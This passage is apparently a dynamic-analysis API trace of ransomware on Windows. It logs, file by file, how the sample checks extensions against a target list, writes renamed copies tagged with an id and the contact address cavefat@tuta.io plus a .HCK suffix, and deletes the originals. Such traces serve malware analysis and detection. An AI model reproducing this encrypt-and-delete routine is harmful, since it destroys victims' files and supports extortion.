[0159.094] lstrlenW (lpString=".dbf") returned 4 [0159.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.094] lstrlenW (lpString=".1cd") returned 4 [0159.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.094] lstrlenW (lpString=".jpg") returned 4 [0159.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.094] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.094] lstrlenW (lpString="FD00779_.WMF") returned 12 [0159.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.095] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9010) returned 1 [0159.095] CloseHandle (hObject=0x2ec) returned 1 [0159.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0159.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.095] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.095] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.095] GetLastError () returned 0x0 [0159.095] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2332, lpOverlapped=0x0) returned 1 [0159.097] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2340, lpOverlapped=0x0) returned 1 [0159.097] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.098] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.098] SetEndOfFile (hFile=0x38c) returned 1 [0159.098] CloseHandle (hObject=0x38c) returned 1 [0159.099] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.099] SetEndOfFile (hFile=0x2ec) returned 1 [0159.099] CloseHandle (hObject=0x2ec) returned 1 [0159.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0159.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.100] lstrlenW (lpString=".doc") returned 4 [0159.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.100] lstrlenW (lpString=".docx") returned 5 [0159.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.100] lstrlenW (lpString=".pdf") returned 4 [0159.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.100] lstrlenW (lpString=".xls") returned 4 [0159.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.100] lstrlenW (lpString=".xlsx") returned 5 [0159.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.100] lstrlenW (lpString=".ppt") returned 4 [0159.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.100] lstrlenW (lpString=".zip") returned 4 [0159.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.100] lstrlenW (lpString=".rar") returned 4 [0159.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.100] lstrlenW (lpString=".bz2") returned 4 [0159.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.100] lstrlenW (lpString=".7z") returned 3 [0159.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.100] lstrlenW (lpString=".dbf") returned 4 [0159.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.100] lstrlenW (lpString=".1cd") returned 4 [0159.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.100] lstrlenW (lpString=".jpg") returned 4 [0159.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.100] lstrlenW (lpString=".doc") returned 4 [0159.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.101] lstrlenW (lpString=".docx") returned 5 [0159.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.101] lstrlenW (lpString=".pdf") returned 4 [0159.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.101] lstrlenW (lpString=".xls") returned 4 [0159.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.101] lstrlenW (lpString=".xlsx") returned 5 [0159.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.101] lstrlenW (lpString=".ppt") returned 4 [0159.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.101] lstrlenW (lpString=".zip") returned 4 [0159.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.101] lstrlenW (lpString=".rar") returned 4 [0159.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.101] lstrlenW (lpString=".bz2") returned 4 [0159.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.101] lstrlenW (lpString=".7z") returned 3 [0159.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.101] lstrlenW (lpString=".dbf") returned 4 [0159.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.101] lstrlenW (lpString=".1cd") returned 4 [0159.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0159.101] lstrlenW (lpString=".jpg") returned 4 [0159.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.101] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.101] lstrlenW (lpString="FD00799_.WMF") returned 12 [0159.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.101] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13968) returned 1 [0159.101] CloseHandle (hObject=0x2ec) returned 1 [0159.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0159.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.102] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.102] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.102] GetLastError () returned 0x0 [0159.102] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3690, lpOverlapped=0x0) returned 1 [0159.104] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x36a0, lpOverlapped=0x0) returned 1 [0159.104] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.104] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.105] SetEndOfFile (hFile=0x38c) returned 1 [0159.105] CloseHandle (hObject=0x38c) returned 1 [0159.106] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.106] SetEndOfFile (hFile=0x2ec) returned 1 [0159.106] CloseHandle (hObject=0x2ec) returned 1 [0159.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0159.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.109] lstrlenW (lpString=".doc") returned 4 [0159.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString=".docx") returned 5 [0159.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.109] lstrlenW (lpString=".pdf") returned 4 [0159.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString=".xls") returned 4 [0159.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.109] lstrlenW (lpString=".xlsx") returned 5 [0159.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.109] lstrlenW (lpString=".ppt") returned 4 [0159.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.109] lstrlenW (lpString=".zip") returned 4 [0159.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.109] lstrlenW (lpString=".rar") returned 4 [0159.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString=".bz2") returned 4 [0159.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString=".7z") returned 3 [0159.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString=".dbf") returned 4 [0159.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString=".1cd") returned 4 [0159.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString=".jpg") returned 4 [0159.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString=".doc") returned 4 [0159.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString=".docx") returned 5 [0159.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.110] lstrlenW (lpString=".pdf") returned 4 [0159.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString=".xls") returned 4 [0159.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.110] lstrlenW (lpString=".xlsx") returned 5 [0159.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.110] lstrlenW (lpString=".ppt") returned 4 [0159.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString=".zip") returned 4 [0159.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.110] lstrlenW (lpString=".rar") returned 4 [0159.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString=".bz2") returned 4 [0159.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString=".7z") returned 3 [0159.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString=".dbf") returned 4 [0159.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString=".1cd") returned 4 [0159.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0159.110] lstrlenW (lpString=".jpg") returned 4 [0159.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.110] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.110] lstrlenW (lpString="FD00814_.WMF") returned 12 [0159.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.831] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=42704) returned 1 [0159.831] CloseHandle (hObject=0x364) returned 1 [0159.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0159.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.832] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.832] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.832] GetLastError () returned 0x0 [0159.832] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0159.850] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0159.852] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.852] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.852] SetEndOfFile (hFile=0x38c) returned 1 [0159.852] CloseHandle (hObject=0x38c) returned 1 [0159.854] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.854] SetEndOfFile (hFile=0x364) returned 1 [0159.855] CloseHandle (hObject=0x364) returned 1 [0159.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.855] lstrlenW (lpString=".doc") returned 4 [0159.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString=".docx") returned 5 [0159.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.855] lstrlenW (lpString=".pdf") returned 4 [0159.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString=".xls") returned 4 [0159.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.855] lstrlenW (lpString=".xlsx") returned 5 [0159.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.855] lstrlenW (lpString=".ppt") returned 4 [0159.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.855] lstrlenW (lpString=".zip") returned 4 [0159.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.855] lstrlenW (lpString=".rar") returned 4 [0159.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString=".bz2") returned 4 [0159.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString=".7z") returned 3 [0159.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString=".dbf") returned 4 [0159.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString=".1cd") returned 4 [0159.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString=".jpg") returned 4 [0159.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString=".doc") returned 4 [0159.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString=".docx") returned 5 [0159.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.856] lstrlenW (lpString=".pdf") returned 4 [0159.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString=".xls") returned 4 [0159.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.856] lstrlenW (lpString=".xlsx") returned 5 [0159.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.856] lstrlenW (lpString=".ppt") returned 4 [0159.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString=".zip") returned 4 [0159.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.856] lstrlenW (lpString=".rar") returned 4 [0159.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString=".bz2") returned 4 [0159.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString=".7z") returned 3 [0159.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString=".dbf") returned 4 [0159.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString=".1cd") returned 4 [0159.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.856] lstrlenW (lpString="C:\\Program 